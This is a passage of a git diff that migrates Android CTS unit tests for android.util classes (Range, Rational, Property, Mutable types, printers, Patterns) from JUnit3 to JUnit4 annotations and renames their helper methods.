-        assertArraysEqual(new int[] { 26, 27, 28, 29, 30, 31, 1 }, mHelper
-                .getDigitsForRow(0));
+        assertArrayEquals(new int[] { 26, 27, 28, 29, 30, 31, 1 }, mHelper.getDigitsForRow(0));
 
         mHelper.previousMonth();
 
         assertEquals(Calendar.AUGUST, mHelper.getMonth());
-        assertArraysEqual(new int[] { 29, 30, 31, 1, 2, 3, 4 }, mHelper
-                .getDigitsForRow(0));
+        assertArrayEquals(new int[] { 29, 30, 31, 1, 2, 3, 4 }, mHelper.getDigitsForRow(0));
 
         mHelper = new MonthDisplayHelper(2007, Calendar.JANUARY);
 
@@ -180,8 +174,9 @@
         assertEquals(Calendar.DECEMBER, mHelper.getMonth());
     }
 
+    @Test
     public void testIsWithinCurrentMonth() {
-        mHelper = new MonthDisplayHelper(2007, Calendar.SEPTEMBER,
+        MonthDisplayHelper mHelper = new MonthDisplayHelper(2007, Calendar.SEPTEMBER,
                 Calendar.SUNDAY);
 
         // out of bounds
@@ -202,13 +197,5 @@
         // last day in month
         assertTrue(mHelper.isWithinCurrentMonth(5, 0));
     }
-
-    private void assertArraysEqual(int[] expected, int[] actual) {
-        assertEquals("array length", expected.length, actual.length);
-        for (int i = 0; i < expected.length; i++) {
-            assertEquals("index " + i,
-                    expected[i], actual[i]);
-        }
-    }
 }
 
diff --git a/tests/tests/util/src/android/util/cts/MutableTest.java b/tests/tests/util/src/android/util/cts/MutableTest.java
new file mode 100644
index 0000000..e4f6fd9
--- /dev/null
+++ b/tests/tests/util/src/android/util/cts/MutableTest.java
@@ -0,0 +1,77 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.util.cts;
+
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.*;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static org.junit.Assert.*;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class MutableTest {
+    @Test
+    public void testMutableBoolean() {
+        MutableBoolean mut = new MutableBoolean(false);
+        assertFalse(mut.value);
+        mut = new MutableBoolean(true);
+        assertTrue(mut.value);
+    }
+
+    @Test
+    public void testMutableByte() {
+        MutableByte mut = new MutableByte((byte) 127);
+        assertEquals(127, mut.value);
+        mut = new MutableByte((byte) -128);
+        assertEquals(-128, mut.value);
+    }
+
+    @Test
+    public void testMutableChar() {
+        MutableChar mut = new MutableChar('a');
+        assertEquals('a', mut.value);
+        mut = new MutableChar('b');
+        assertEquals('b', mut.value);
+    }
+
+    @Test
+    public void testMutableDouble() {
+        MutableDouble mut = new MutableDouble(0);
+        assertEquals(0, mut.value, 0);
+        mut = new MutableDouble(Double.MAX_VALUE);
+        assertEquals(Double.MAX_VALUE, mut.value, 0);
+    }
+
+    @Test
+    public void testMutableFloat() {
+        MutableFloat mut = new MutableFloat(0f);
+        assertEquals(0f, mut.value, 0);
+        mut = new MutableFloat(Float.MAX_VALUE);
+        assertEquals(Float.MAX_VALUE, mut.value, 0);
+    }
+
+    @Test
+    public void testMutableShort() {
+        MutableShort mut = new MutableShort((short) 0);
+        assertEquals(0, mut.value);
+        mut = new MutableShort(Short.MAX_VALUE);
+        assertEquals(Short.MAX_VALUE, mut.value);
+    }
+}
diff --git a/tests/tests/util/src/android/util/cts/PatternsTest.java b/tests/tests/util/src/android/util/cts/PatternsTest.java
index 61755ef..3a8df11 100644
--- a/tests/tests/util/src/android/util/cts/PatternsTest.java
+++ b/tests/tests/util/src/android/util/cts/PatternsTest.java
@@ -16,15 +16,22 @@
 
 package android.util.cts;
 
+import static org.junit.Assert.assertTrue;
+
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.Patterns;
 
-import junit.framework.TestCase;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 /**
  * Test {@link Patterns}.
  */
-public class PatternsTest extends TestCase {
-
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class PatternsTest {
+    @Test
     public void testWebUrl_matchesUrlsWithCommasInRequestParameterValues() throws Exception {
         String url = "https://android.com/path?ll=37.4221,-122.0836&z=17&pll=37.4221,-122.0836";
         assertTrue("WEB_URL pattern should match commas", Patterns.WEB_URL.matcher(url).matches());
diff --git a/tests/tests/util/src/android/util/cts/PrintStreamPrinterTest.java b/tests/tests/util/src/android/util/cts/PrintStreamPrinterTest.java
index ed391191..59a6ee2 100644
--- a/tests/tests/util/src/android/util/cts/PrintStreamPrinterTest.java
+++ b/tests/tests/util/src/android/util/cts/PrintStreamPrinterTest.java
@@ -16,6 +16,18 @@
 
 package android.util.cts;
 
+import static org.junit.Assert.assertEquals;
+
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.PrintStreamPrinter;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.io.BufferedReader;
 import java.io.File;
 import java.io.FileInputStream;
@@ -24,52 +36,49 @@
 import java.io.InputStream;
 import java.io.InputStreamReader;
 import java.io.PrintStream;
-import android.test.AndroidTestCase;
-import android.util.PrintStreamPrinter;
 
-public class PrintStreamPrinterTest extends AndroidTestCase {
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class PrintStreamPrinterTest {
     private File mFile;
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mFile = new File(getContext().getFilesDir(), "PrintStreamPrinter.log");
+
+    @Before
+    public void setup() throws IOException {
+        mFile = new File(InstrumentationRegistry.getTargetContext().getFilesDir(),
+                "PrintStreamPrinter.log");
         if (!mFile.exists()) {
             mFile.createNewFile();
         }
     }
 
+    @After
+    public void teardown() throws Exception {
+        if (mFile.exists()) {
+            mFile.delete();
+        }
+    }
+
+    @Test
     public void testConstructor() throws FileNotFoundException {
         new PrintStreamPrinter(new PrintStream(mFile));
     }
 
-    public void testPrintln() throws FileNotFoundException, SecurityException, IOException {
-        PrintStreamPrinter printStreamPrinter = null;
+    @Test
+    public void testPrintln() throws SecurityException, IOException {
         final String message = "testMessageOfPrintStreamPrinter";
-        InputStream is = null;
 
         PrintStream ps = new PrintStream(mFile);
-        printStreamPrinter = new PrintStreamPrinter(ps);
+        PrintStreamPrinter printStreamPrinter = new PrintStreamPrinter(ps);
         printStreamPrinter.println(message);
         ps.flush();
         ps.close();
         String mLine;
 
-        try {
-            is = new FileInputStream(mFile);
+        try (InputStream is = new FileInputStream(mFile)){
             BufferedReader reader = new BufferedReader(new InputStreamReader(is));
             mLine = reader.readLine();
             assertEquals(message, mLine);
             reader.close();
-        } finally {
-            is.close();
         }
     }
-
-    @Override
-    protected void tearDown() throws Exception {
-        if (mFile.exists()) {
-            mFile.delete();
-        }
-        super.tearDown();
-    }
 }
diff --git a/tests/tests/util/src/android/util/cts/PrintWriterPrinterTest.java b/tests/tests/util/src/android/util/cts/PrintWriterPrinterTest.java
index 77f2d19..d7ae859 100644
--- a/tests/tests/util/src/android/util/cts/PrintWriterPrinterTest.java
+++ b/tests/tests/util/src/android/util/cts/PrintWriterPrinterTest.java
@@ -16,51 +16,61 @@
 
 package android.util.cts;
 
+import static org.junit.Assert.assertEquals;
+
+import android.content.Context;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.PrintWriterPrinter;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.io.BufferedReader;
 import java.io.File;
 import java.io.FileInputStream;
 import java.io.FileNotFoundException;
+import java.io.IOException;
 import java.io.InputStream;
 import java.io.InputStreamReader;
 import java.io.PrintWriter;
 
-import android.content.Context;
-import android.test.AndroidTestCase;
-import android.util.PrintWriterPrinter;
-
-public class PrintWriterPrinterTest extends AndroidTestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class PrintWriterPrinterTest {
     private File mFile;
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        File dbDir = getContext().getDir("tests", Context.MODE_PRIVATE);
+
+    @Before
+    public void setup() throws IOException {
+        File dbDir = InstrumentationRegistry.getTargetContext().getDir("tests",
+                Context.MODE_PRIVATE);
         mFile = new File(dbDir,"print.log");
-        if (!mFile.exists())
+        if (!mFile.exists()) {
             mFile.createNewFile();
-    }
-
-    public void testConstructor() {
-
-        PrintWriterPrinter printWriterPrinter = null;
-
-        try {
-            PrintWriter pw = new PrintWriter(mFile);
-            printWriterPrinter = new PrintWriterPrinter(pw);
-        } catch (FileNotFoundException e) {
-            fail("shouldn't throw exception");
         }
     }
 
-    public void testPrintln() {
-        PrintWriterPrinter printWriterPrinter = null;
+    @After
+    public void teardown() throws Exception {
+        if (mFile.exists()) {
+            mFile.delete();
+        }
+    }
+
+    @Test
+    public void testConstructor() throws FileNotFoundException {
+        PrintWriter pw = new PrintWriter(mFile);
+        new PrintWriterPrinter(pw);
+    }
+
+    @Test
+    public void testPrintln() throws FileNotFoundException {
         String mMessage = "testMessage";
-        PrintWriter pw = null;
-        try {
-            pw = new PrintWriter(mFile);
-            printWriterPrinter = new PrintWriterPrinter(pw);
-        } catch (FileNotFoundException e) {
-            fail("shouldn't throw exception");
-        }
+        PrintWriter pw = new PrintWriter(mFile);
+        PrintWriterPrinter printWriterPrinter = new PrintWriterPrinter(pw);
         printWriterPrinter.println(mMessage);
         pw.flush();
         pw.close();
@@ -74,12 +84,5 @@
         }
         assertEquals(mMessage, mLine);
     }
-
-    @Override
-    protected void tearDown() throws Exception {
-        if (mFile.exists())
-            mFile.delete();
-    }
-
 }
 
diff --git a/tests/tests/util/src/android/util/cts/PropertyTest.java b/tests/tests/util/src/android/util/cts/PropertyTest.java
index 22ad2c4..3d76e36 100644
--- a/tests/tests/util/src/android/util/cts/PropertyTest.java
+++ b/tests/tests/util/src/android/util/cts/PropertyTest.java
@@ -17,51 +17,62 @@
 package android.util.cts;
 
 import android.graphics.Point;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.FloatProperty;
 import android.util.IntProperty;
 import android.util.Property;
-import junit.framework.TestCase;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-public class PropertyTest extends TestCase {
+import static org.junit.Assert.*;
 
-    float mFloatValue = -1;
-    int mIntValue = -2;
-    Point mPointValue = new Point(-3, -4);
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class PropertyTest {
+    private float mFloatValue = -1;
+    private int mIntValue = -2;
+    private Point mPointValue = new Point(-3, -4);
 
+    @Test
     public void testProperty() throws Exception {
         float testFloatValue = 5;
         Point testPointValue = new Point(10, 20);
 
         assertFalse(getFloatProp() == testFloatValue);
         assertFalse(getPointProp().equals(testPointValue));
-        assertEquals(RAW_FLOAT_PROP.get(this), getFloatProp());
-        assertEquals(RAW_POINT_PROP.get(this), getPointProp());
+        assertEquals(getFloatProp(), RAW_FLOAT_PROP.get(this), 0f);
+        assertEquals(getPointProp(), RAW_POINT_PROP.get(this));
 
         RAW_FLOAT_PROP.set(this, testFloatValue);
-        assertEquals(RAW_FLOAT_PROP.get(this), mFloatValue);
+        assertEquals(mFloatValue, RAW_FLOAT_PROP.get(this), 0f);
 
         RAW_POINT_PROP.set(this, testPointValue);
-        assertEquals(RAW_POINT_PROP.get(this), testPointValue);
+        assertEquals(testPointValue, RAW_POINT_PROP.get(this));
     }
 
+    @Test
     public void testFloatProperty() throws Exception {
-        float testFloatValue = 5;
+        assertFalse(getFloatProp() == 5);
+        assertEquals(getFloatProp(), FLOAT_PROP.get(this), 0f);
 
-        assertFalse(getFloatProp() == testFloatValue);
-        assertEquals(FLOAT_PROP.get(this), getFloatProp());
+        FLOAT_PROP.set(this, 5f);
+        assertEquals(5f, FLOAT_PROP.get(this), 0f);
 
-        FLOAT_PROP.set(this, testFloatValue);
-        assertEquals(FLOAT_PROP.get(this), testFloatValue);
+        FLOAT_PROP.setValue(this, 10);
+        assertEquals(10f, FLOAT_PROP.get(this), 0f);
     }
 
+    @Test
     public void testIntProperty() throws Exception {
-        int testIntValue = 5;
+        assertFalse(getIntProp() == 5);
+        assertEquals(getIntProp(), INT_PROP.get(this).intValue());
 
-        assertFalse(getIntProp() == testIntValue);
-        assertEquals(INT_PROP.get(this).intValue(), getIntProp());
+        INT_PROP.set(this, 5);
+        assertEquals(5, INT_PROP.get(this).intValue());
 
-        INT_PROP.set(this, testIntValue);
-        assertEquals(INT_PROP.get(this).intValue(), testIntValue);
+        INT_PROP.setValue(this, 10);
+        assertEquals(10, INT_PROP.get(this).intValue());
     }
 
     // Utility methods to get/set instance values. Used by Property classes below.
@@ -91,9 +102,9 @@
     }
 
     // Properties. RAW subclass from the generic Property class, the others subclass from
-    // the primtive-friendly IntProperty and FloatProperty subclasses.
+    // the primitive-friendly IntProperty and FloatProperty subclasses.
 
-    public static final Property<PropertyTest, Point> RAW_POINT_PROP =
+    private static final Property<PropertyTest, Point> RAW_POINT_PROP =
             new Property<PropertyTest, Point>(Point.class, "rawPoint") {
                 @Override
                 public void set(PropertyTest object, Point value) {
@@ -106,7 +117,7 @@
                 }
             };
 
-    public static final Property<PropertyTest, Float> RAW_FLOAT_PROP =
+    private static final Property<PropertyTest, Float> RAW_FLOAT_PROP =
             new Property<PropertyTest, Float>(Float.class, "rawFloat") {
                 @Override
                 public void set(PropertyTest object, Float value) {
@@ -119,7 +130,7 @@
                 }
             };
 
-    public static final Property<PropertyTest, Float> FLOAT_PROP =
+    private static final FloatProperty<PropertyTest> FLOAT_PROP =
             new FloatProperty<PropertyTest>("float") {
 
                 @Override
@@ -133,7 +144,7 @@
                 }
             };
 
-    public static final Property<PropertyTest, Integer> INT_PROP =
+    private static final IntProperty<PropertyTest> INT_PROP =
             new IntProperty<PropertyTest>("int") {
 
                 @Override
diff --git a/tests/tests/util/src/android/util/cts/RangeTest.java b/tests/tests/util/src/android/util/cts/RangeTest.java
index abab17b..5121ce1 100644
--- a/tests/tests/util/src/android/util/cts/RangeTest.java
+++ b/tests/tests/util/src/android/util/cts/RangeTest.java
@@ -16,150 +16,142 @@
 
 package android.util.cts;
 
-import android.test.suitebuilder.annotation.SmallTest;
+import static org.junit.Assert.assertEquals;
+
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.Range;
 import android.util.Rational;
 
-public class RangeTest extends junit.framework.TestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-    @SmallTest
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class RangeTest {
+
+    @Test
     public void testConstructor() {
         // Trivial, same range
-        Range<Integer> intRange = new Range<Integer>(1, 1);
+        Range<Integer> intRange = new Range<>(1, 1);
 
-        assertLower(intRange, 1);
-        assertUpper(intRange, 1);
+        verifyLower(intRange, 1);
+        verifyUpper(intRange, 1);
 
         // Different values in range
-        Range<Integer> intRange2 = new Range<Integer>(100, 200);
-        assertLower(intRange2, 100);
-        assertUpper(intRange2, 200);
+        Range<Integer> intRange2 = new Range<>(100, 200);
+        verifyLower(intRange2, 100);
+        verifyUpper(intRange2, 200);
 
-        Range<Float> floatRange = new Range<Float>(Float.NEGATIVE_INFINITY,
+        Range<Float> floatRange = new Range<>(Float.NEGATIVE_INFINITY,
                 Float.POSITIVE_INFINITY);
-        assertLower(floatRange, Float.NEGATIVE_INFINITY);
-        assertUpper(floatRange, Float.POSITIVE_INFINITY);
+        verifyLower(floatRange, Float.NEGATIVE_INFINITY);
+        verifyUpper(floatRange, Float.POSITIVE_INFINITY);
     }
 
-    @SmallTest
-    public void testIllegalValues() {
-        // Test NPEs
-        try {
-            new Range<Integer>(null, null);
-            fail("Expected exception to be thrown for (null, null)");
-        } catch (NullPointerException e) {
-            // OK: both args are null
-        }
-
-        try {
-            new Range<Integer>(null, 0);
-            fail("Expected exception to be thrown for (null, 0)");
-        } catch (NullPointerException e) {
-            // OK: left arg is null
-        }
-
-        try {
-            new Range<Integer>(0, null);
-            fail("Expected exception to be thrown for (0, null)");
-        } catch (NullPointerException e) {
-            // OK: right arg is null
-        }
-
-        // Test IAEs
-
-        try {
-            new Range<Integer>(50, -50);
-            fail("Expected exception to be thrown for (50, -50)");
-        } catch (IllegalArgumentException e) {
-            // OK: 50 > -50 so it fails
-        }
-
-        try {
-            new Range<Float>(0.0f, Float.NEGATIVE_INFINITY);
-            fail("Expected exception to be thrown for (0.0f, -Infinity)");
-        } catch (IllegalArgumentException e) {
-            // OK: 0.0f is > NEGATIVE_INFINITY, so it fails
-        }
+    @Test(expected=NullPointerException.class)
+    public void testIntegerRangeNullBoth() {
+        new Range<Integer>(null, null);
     }
 
-    @SmallTest
+    @Test(expected=NullPointerException.class)
+    public void testIntegerRangeNullLower() {
+        new Range<>(null, 0);
+    }
+
+    @Test(expected=NullPointerException.class)
+    public void testIntegerRangeNullUpper() {
+        new Range<>(0, null);
+    }
+
+    @Test(expected=IllegalArgumentException.class)
+    public void testIntegerRangeLowerMoreThanHigher() {
+        new Range<>(50, -50);
+    }
+
+    @Test(expected=IllegalArgumentException.class)
+    public void testFloatRangeLowerMoreThanHigher() {
+        new Range<>(0.0f, Float.NEGATIVE_INFINITY);
+    }
+
+    @Test
     public void testEquals() {
         Range<Float> oneHalf = Range.create(1.0f, 2.0f);
-        Range<Float> oneHalf2 = new Range<Float>(1.0f, 2.0f);
+        Range<Float> oneHalf2 = new Range<>(1.0f, 2.0f);
         assertEquals(oneHalf, oneHalf2);
-        assertHashCodeEquals(oneHalf, oneHalf2);
+        verifyHashCodeEquals(oneHalf, oneHalf2);
 
-        Range<Float> twoThirds = new Range<Float>(2.0f, 3.0f);
+        Range<Float> twoThirds = new Range<>(2.0f, 3.0f);
         Range<Float> twoThirds2 = Range.create(2.0f, 3.0f);
         assertEquals(twoThirds, twoThirds2);
-        assertHashCodeEquals(twoThirds, twoThirds2);
+        verifyHashCodeEquals(twoThirds, twoThirds2);
 
         Range<Rational> negativeOneTenthPositiveOneTenth =
-                new Range<Rational>(new Rational(-1, 10), new Rational(1, 10));
+                new Range<>(new Rational(-1, 10), new Rational(1, 10));
         Range<Rational> negativeOneTenthPositiveOneTenth2 =
                 Range.create(new Rational(-1, 10), new Rational(1, 10));
         assertEquals(negativeOneTenthPositiveOneTenth, negativeOneTenthPositiveOneTenth2);
-        assertHashCodeEquals(negativeOneTenthPositiveOneTenth, negativeOneTenthPositiveOneTenth2);
+        verifyHashCodeEquals(negativeOneTenthPositiveOneTenth, negativeOneTenthPositiveOneTenth2);
     }
 
-    @SmallTest
+    @Test
     public void testInRange() {
         Range<Integer> hundredOneTwo = Range.create(100, 200);
 
-        assertInRange(hundredOneTwo, 100);
-        assertInRange(hundredOneTwo, 200);
-        assertInRange(hundredOneTwo, 150);
-        assertOutOfRange(hundredOneTwo, 99);
-        assertOutOfRange(hundredOneTwo, 201);
-        assertOutOfRange(hundredOneTwo, 100000);
+        verifyInRange(hundredOneTwo, 100);
+        verifyInRange(hundredOneTwo, 200);
+        verifyInRange(hundredOneTwo, 150);
+        verifyOutOfRange(hundredOneTwo, 99);
+        verifyOutOfRange(hundredOneTwo, 201);
+        verifyOutOfRange(hundredOneTwo, 100000);
 
         Range<Float> infinities = Range.create(Float.NEGATIVE_INFINITY, Float.POSITIVE_INFINITY);
 
-        assertInRange(infinities, Float.NEGATIVE_INFINITY);
-        assertInRange(infinities, Float.POSITIVE_INFINITY);
-        assertInRange(infinities, 0.0f);
-        assertOutOfRange(infinities, Float.NaN);
+        verifyInRange(infinities, Float.NEGATIVE_INFINITY);
+        verifyInRange(infinities, Float.POSITIVE_INFINITY);
+        verifyInRange(infinities, 0.0f);
+        verifyOutOfRange(infinities, Float.NaN);
 
         Range<Rational> negativeOneTenthPositiveOneTenth =
-                new Range<Rational>(new Rational(-1, 10), new Rational(1, 10));
-        assertInRange(negativeOneTenthPositiveOneTenth, new Rational(-1, 10));
-        assertInRange(negativeOneTenthPositiveOneTenth, new Rational(1, 10));
-        assertInRange(negativeOneTenthPositiveOneTenth, Rational.ZERO);
-        assertOutOfRange(negativeOneTenthPositiveOneTenth, new Rational(-100, 1));
-        assertOutOfRange(negativeOneTenthPositiveOneTenth, new Rational(100, 1));
+                new Range<>(new Rational(-1, 10), new Rational(1, 10));
+        verifyInRange(negativeOneTenthPositiveOneTenth, new Rational(-1, 10));
+        verifyInRange(negativeOneTenthPositiveOneTenth, new Rational(1, 10));
+        verifyInRange(negativeOneTenthPositiveOneTenth, Rational.ZERO);
+        verifyOutOfRange(negativeOneTenthPositiveOneTenth, new Rational(-100, 1));
+        verifyOutOfRange(negativeOneTenthPositiveOneTenth, new Rational(100, 1));
     }
 
-    private static <T extends Comparable<? super T>> void assertInRange(Range<T> object, T needle) {
-        assertAction("in-range", object, needle, true, object.contains(needle));
+    private static <T extends Comparable<? super T>> void verifyInRange(Range<T> object, T needle) {
+        verifyAction("in-range", object, needle, true, object.contains(needle));
     }
 
-    private static <T extends Comparable<? super T>> void assertOutOfRange(Range<T> object,
+    private static <T extends Comparable<? super T>> void verifyOutOfRange(Range<T> object,
             T needle) {
-        assertAction("out-of-range", object, needle, false, object.contains(needle));
+        verifyAction("out-of-range", object, needle, false, object.contains(needle));
     }
 
-    private static <T extends Comparable<? super T>> void assertUpper(Range<T> object, T expected) {
-        assertAction("upper", object, expected, object.getUpper());
+    private static <T extends Comparable<? super T>> void verifyUpper(Range<T> object, T expected) {
+        verifyAction("upper", object, expected, object.getUpper());
     }
 
-    private static <T extends Comparable<? super T>> void assertLower(Range<T> object, T expected) {
-        assertAction("lower", object, expected, object.getLower());
+    private static <T extends Comparable<? super T>> void verifyLower(Range<T> object, T expected) {
+        verifyAction("lower", object, expected, object.getLower());
     }
 
-    private static <T, T2> void assertAction(String action, T object, T2 expected,
+    private static <T, T2> void verifyAction(String action, T object, T2 expected,
             T2 actual) {
         assertEquals("Expected " + object + " " + action + " to be ",
                 expected, actual);
     }
 
-    private static <T, T2> void assertAction(String action, T object, T2 needle, boolean expected,
+    private static <T, T2> void verifyAction(String action, T object, T2 needle, boolean expected,
             boolean actual) {
         String expectedMessage = expected ? action : ("not " + action);
         assertEquals("Expected " + needle + " to be " + expectedMessage + " of " + object,
                 expected, actual);
     }
 
-    private static <T extends Comparable<? super T>> void assertHashCodeEquals(
+    private static <T extends Comparable<? super T>> void verifyHashCodeEquals(
             Range<T> left, Range<T> right) {
         assertEquals("Left hash code for " + left +
                 " expected to be equal to right hash code for " + right,
diff --git a/tests/tests/util/src/android/util/cts/RationalTest.java b/tests/tests/util/src/android/util/cts/RationalTest.java
index ab5c063..84b2ece 100644
--- a/tests/tests/util/src/android/util/cts/RationalTest.java
+++ b/tests/tests/util/src/android/util/cts/RationalTest.java
@@ -16,9 +16,23 @@
 
 package android.util.cts;
 
-import android.test.suitebuilder.annotation.SmallTest;
+import static android.util.Rational.NEGATIVE_INFINITY;
+import static android.util.Rational.NaN;
+import static android.util.Rational.POSITIVE_INFINITY;
+import static android.util.Rational.ZERO;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.Rational;
 
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.io.ByteArrayInputStream;
 import java.io.ByteArrayOutputStream;
 import java.io.IOException;
@@ -28,14 +42,14 @@
 import java.io.Serializable;
 import java.lang.reflect.Field;
 
-import static android.util.Rational.*;
-
-public class RationalTest extends junit.framework.TestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class RationalTest {
 
     /** (1,1) */
     private static final Rational UNIT = new Rational(1, 1);
 
-    @SmallTest
+    @Test
     public void testConstructor() {
 
         // Simple case
@@ -74,7 +88,7 @@
         assertEquals(0, r.getDenominator());
     }
 
-    @SmallTest
+    @Test
     public void testEquals() {
         Rational r = new Rational(1, 2);
         assertEquals(1, r.getNumerator());
@@ -145,7 +159,7 @@
         assertFalse(nan.equals(negInf));
     }
 
-    @SmallTest
+    @Test
     public void testReduction() {
         Rational moreComplicated = new Rational(5 * 78, 7 * 78);
         assertEquals(new Rational(5, 7), moreComplicated);
@@ -176,153 +190,153 @@
         assertEquals(2, flipAndReduce.getDenominator());
     }
 
-    @SmallTest
+    @Test
     public void testCompareTo() {
         // unit is equal to itself
-        assertCompareEquals(UNIT, new Rational(1, 1));
+        verifyCompareEquals(UNIT, new Rational(1, 1));
 
         // NaN is greater than anything but NaN
-        assertCompareEquals(NaN, new Rational(0, 0));
-        assertGreaterThan(NaN, UNIT);
-        assertGreaterThan(NaN, POSITIVE_INFINITY);
-        assertGreaterThan(NaN, NEGATIVE_INFINITY);
-        assertGreaterThan(NaN, ZERO);
+        verifyCompareEquals(NaN, new Rational(0, 0));
+        verifyGreaterThan(NaN, UNIT);
+        verifyGreaterThan(NaN, POSITIVE_INFINITY);
+        verifyGreaterThan(NaN, NEGATIVE_INFINITY);
+        verifyGreaterThan(NaN, ZERO);
 
         // Positive infinity is greater than any other non-NaN
-        assertCompareEquals(POSITIVE_INFINITY, new Rational(1, 0));
-        assertGreaterThan(POSITIVE_INFINITY, UNIT);
-        assertGreaterThan(POSITIVE_INFINITY, NEGATIVE_INFINITY);
-        assertGreaterThan(POSITIVE_INFINITY, ZERO);
+        verifyCompareEquals(POSITIVE_INFINITY, new Rational(1, 0));
+        verifyGreaterThan(POSITIVE_INFINITY, UNIT);
+        verifyGreaterThan(POSITIVE_INFINITY, NEGATIVE_INFINITY);
+        verifyGreaterThan(POSITIVE_INFINITY, ZERO);
 
         // Negative infinity is smaller than any other non-NaN
-        assertCompareEquals(NEGATIVE_INFINITY, new Rational(-1, 0));
-        assertLessThan(NEGATIVE_INFINITY, UNIT);
-        assertLessThan(NEGATIVE_INFINITY, POSITIVE_INFINITY);
-        assertLessThan(NEGATIVE_INFINITY, ZERO);
+        verifyCompareEquals(NEGATIVE_INFINITY, new Rational(-1, 0));
+        verifyLessThan(NEGATIVE_INFINITY, UNIT);
+        verifyLessThan(NEGATIVE_INFINITY, POSITIVE_INFINITY);
+        verifyLessThan(NEGATIVE_INFINITY, ZERO);
 
         // A finite number with the same denominator is trivially comparable
-        assertGreaterThan(new Rational(3, 100), new Rational(1, 100));
-        assertGreaterThan(new Rational(3, 100), ZERO);
+        verifyGreaterThan(new Rational(3, 100), new Rational(1, 100));
+        verifyGreaterThan(new Rational(3, 100), ZERO);
 
         // Compare finite numbers with different divisors
-        assertGreaterThan(new Rational(5, 25), new Rational(1, 10));
-        assertGreaterThan(new Rational(5, 25), ZERO);
+        verifyGreaterThan(new Rational(5, 25), new Rational(1, 10));
+        verifyGreaterThan(new Rational(5, 25), ZERO);
 
         // Compare finite numbers with different signs
-        assertGreaterThan(new Rational(5, 25), new Rational(-1, 10));
-        assertLessThan(new Rational(-5, 25), ZERO);
+        verifyGreaterThan(new Rational(5, 25), new Rational(-1, 10));
+        verifyLessThan(new Rational(-5, 25), ZERO);
     }
 
-    @SmallTest
+    @Test
     public void testConvenienceMethods() {
         // isFinite
-        assertFinite(ZERO, true);
-        assertFinite(NaN, false);
-        assertFinite(NEGATIVE_INFINITY, false);
-        assertFinite(POSITIVE_INFINITY, false);
-        assertFinite(UNIT, true);
+        verifyFinite(ZERO, true);
+        verifyFinite(NaN, false);
+        verifyFinite(NEGATIVE_INFINITY, false);
+        verifyFinite(POSITIVE_INFINITY, false);
+        verifyFinite(UNIT, true);
 
         // isInfinite
-        assertInfinite(ZERO, false);
-        assertInfinite(NaN, false);
-        assertInfinite(NEGATIVE_INFINITY, true);
-        assertInfinite(POSITIVE_INFINITY, true);
-        assertInfinite(UNIT, false);
+        verifyInfinite(ZERO, false);
+        verifyInfinite(NaN, false);
+        verifyInfinite(NEGATIVE_INFINITY, true);
+        verifyInfinite(POSITIVE_INFINITY, true);
+        verifyInfinite(UNIT, false);
 
         // isNaN
-        assertNaN(ZERO, false);
-        assertNaN(NaN, true);
-        assertNaN(NEGATIVE_INFINITY, false);
-        assertNaN(POSITIVE_INFINITY, false);
-        assertNaN(UNIT, false);
+        verifyNaN(ZERO, false);
+        verifyNaN(NaN, true);
+        verifyNaN(NEGATIVE_INFINITY, false);
+        verifyNaN(POSITIVE_INFINITY, false);
+        verifyNaN(UNIT, false);
 
         // isZero
-        assertZero(ZERO, true);
-        assertZero(NaN, false);
-        assertZero(NEGATIVE_INFINITY, false);
-        assertZero(POSITIVE_INFINITY, false);
-        assertZero(UNIT, false);
+        verifyZero(ZERO, true);
+        verifyZero(NaN, false);
+        verifyZero(NEGATIVE_INFINITY, false);
+        verifyZero(POSITIVE_INFINITY, false);
+        verifyZero(UNIT, false);
     }
 
-    @SmallTest
+    @Test
     public void testValueConversions() {
         // Unit, simple case
-        assertValueEquals(UNIT, 1.0f);
-        assertValueEquals(UNIT, 1.0);
-        assertValueEquals(UNIT, 1L);
-        assertValueEquals(UNIT, 1);
-        assertValueEquals(UNIT, (short)1);
+        verifyValueEquals(UNIT, 1.0f);
+        verifyValueEquals(UNIT, 1.0);
+        verifyValueEquals(UNIT, 1L);
+        verifyValueEquals(UNIT, 1);
+        verifyValueEquals(UNIT, (short)1);
 
         // Zero, simple case
-        assertValueEquals(ZERO, 0.0f);
